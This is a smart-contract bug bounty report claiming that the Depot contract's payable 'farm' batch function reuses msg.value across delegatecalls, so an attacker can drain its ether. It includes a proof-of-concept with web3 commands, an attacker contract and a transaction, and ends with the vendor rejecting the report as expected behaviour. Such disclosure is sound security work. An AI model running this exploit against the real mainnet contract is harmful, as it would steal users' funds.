The depot contract ethers can be taken over
Report ID
#14048
Target
Report type
Smart Contract
Impacts
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Has PoC?
Yes
Description
Hello team,
The depot contract have many payable functions which can help users to use these functions to transfer tokens such as function transferToken, when users calls it they can send ethers within the transaction to execute the calls to external contracts properly, as well as other functions
The contract itself has the batch execution function, in that contract it's named as farm,
function farm(bytes[] calldata data)
external
payable
returns (bytes[] memory results)
{
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
LibFunction.checkReturn(success, result);
results[i] = result;
}
}
it executes many function within the contract in one transaction, it's payable as well, Combining the two logics previously, now imagine a user calls the farm function with 0.1 ether, with 3 calls pointed to the 'transferERC721' function, the farm function will send the msg.value to the transferERC721 function and msg.value is 0.1 , in that case call will be 0.1 ether for each deploy call, but the farm function only gets 0.1 ether ! in this case the remaining 0.1*2 ether that will be sent to within the the transferERC721 function will be from the main contract (0xDEb0f000082fD56C10f449d4f8497682494da84D), which in that case the attacker will make the following scenario :
- Depot contract have 3 ethers (users made payable transactions and that's how it got)
- attacker calls the farm with 1 ether as payable to execute the pipe function 4 times
- this function will send the value to the pipeline contract (0xb1bE0000bFdcDDc92A8290202830C4Ef689dCeaa) which is 1 ether * 4
- the pipeline contract will sends the transaction all the way to the attacker controlled token with the msg.value
- the farm will execute the first call and the msg.value is 1 ether (this ether will be from msg.sender),
- the second call as well, but since the msg.value is 1 and the msg.sender sent only one ether, the second ether will be from that contract (depot) ...etc
- until the contract is drained
Impact :
Attacker can drain the ethers of the depot contract
Proof of concept
Used truffle and ganache :
- Save the depot contract's abi at test/abi.json
- Use truffle with Ganache forked to the ethereum mainnet chain
- truffle console --networkId 5777
const Web3 = require('web3');
const abi = require('./test/abi.json');
const v_contract = "0xDEb0f000082fD56C10f449d4f8497682494da84D";
const user = "select from ganache";
const vc = new web3.eth.Contract(abi,v_contract);
- Deploy this contract with truffle
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract tt {
fallback() external payable {}
function des() external payable {
selfdestruct(payable(msg.sender));
}
}
- Make some actions on this contract payable function so this contract will have some ethers
- Generate the bytes with this contract (Used remix) :
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
contract xx {
struct PipeCall {
address target;
bytes data;
}
function generate(PipeCall calldata data) external returns(bytes memory) {
return abi.encodeWithSignature("pipe(bytes)",data);
}
}
- The bytes use them as this tuple [malicious_contract,0x00]
- Use the following code
web3.eth.getBalance(v_contract);
// will returns '250'
const bytess = __generated_bytes_previously__;
await vc.methods.farm([bytess,bytess,bytess]).send({from: user, gas: 6721975, gasPrice: '30000000',value: 100});
web3.eth.getBalance(v_contract);
// will returns 50, we stole 200 successfully
BIC Response
This is not a security bug report because the report outlines expected functionality. As outlined in the Pipeline Whitepaper:
"Failure to unload assets from Pipeline in the same transaction that loads it will highly likely result in a loss of those assets."
Due to these reasons, we are closing the submission and no reward will be issued.